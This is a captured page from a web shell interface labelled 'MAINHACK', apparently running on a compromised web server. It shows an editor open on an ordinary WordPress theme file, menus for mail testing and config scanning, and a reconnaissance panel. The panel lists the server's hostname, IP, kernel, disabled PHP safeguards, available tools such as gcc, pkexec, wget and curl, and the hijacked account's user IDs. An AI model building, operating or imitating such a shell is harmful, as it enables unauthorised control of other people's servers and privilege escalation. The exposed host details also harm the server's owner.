[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: extends.php
<?php /** * Functions which enhance the theme by hooking into WordPress * * @package Alico */ /* * Get page ID by Slug */ function alico_get_id_by_slug($slug, $post_type){ $content = get_page_by_path($slug, OBJECT, $post_type); $id = $content->ID; return $id; } /** * Get content by slug **/ function alico_get_content_by_slug($slug, $post_type){ $content = get_posts( array( 'name' => $slug, 'post_type' => $post_type ) ); if(!empty($content)) return $content[0]->post_content; else return; } /** * Show content by slug **/ if(!function_exists('alico_content_by_slug')){ function alico_content_by_slug($slug, $post_type){ $content = alico_get_content_by_slug($slug, $post_type); $id = alico_get_id_by_slug($slug, $post_type); echo apply_filters('the_content', $content); } } /** * Adds custom classes to the array of body classes. * * @param array $classes Classes for the body element. * @return array */ function alico_body_classes( $classes ) { // Adds a class of group-blog to blogs with more than 1 published author. if (is_multi_author()) { $classes[] = 'group-blog'; } // Adds a class of hfeed to non-singular pages. if (!is_singular()) { $classes[] = 'hfeed'; } if (alico_get_opt( 'site_boxed', false )) { $classes[] = 'site-boxed'; } if ( class_exists('WPBakeryVisualComposerAbstract') ) { $classes[] = 'visual-composer'; } if (class_exists('ReduxFramework')) { $classes[] = 'redux-page'; } $header_layout = alico_get_opt( 'header_layout', '1' ); $custom_header = alico_get_page_opt( 'custom_header', '0' ); if ( $custom_header == '1' ){ $page_header_layout = alico_get_page_opt('header_layout'); $header_layout = $page_header_layout; } if (class_exists('ReduxFramework')) { $classes[] = ' site-h'.$header_layout; } $body_default_font = alico_get_opt( 'body_default_font', 'Roboto' ); $heading_default_font = alico_get_opt( 'heading_default_font', 'Poppins' ); if($body_default_font == 'Roboto') { $classes[] = 'body-default-font'; } if($heading_default_font == 'Poppins') { $classes[] = 'heading-default-font'; } if (alico_get_opt( 'sticky_on', false )) { $classes[] = 'header-sticky'; } $page_404 = alico_get_opt( 'page_404' ); if(isset($page_404)) { $classes[] = ' site-404-'.$page_404; } $fixed_footer = alico_get_opt('fixed_footer'); if(isset($fixed_footer) && $fixed_footer) { $classes[] = ' fixed-footer'; } return $classes; } add_filter( 'body_class', 'alico_body_classes' ); /** * Add a pingback url auto-discovery header for singularly identifiable articles. */ function alico_pingback_header() { if ( is_singular() && pings_open() ) { echo '<link rel="pingback" href="', esc_url( get_bloginfo( 'pingback_url' ) ), '">'; } } add_action( 'wp_head', 'alico_pingback_header' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.41 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002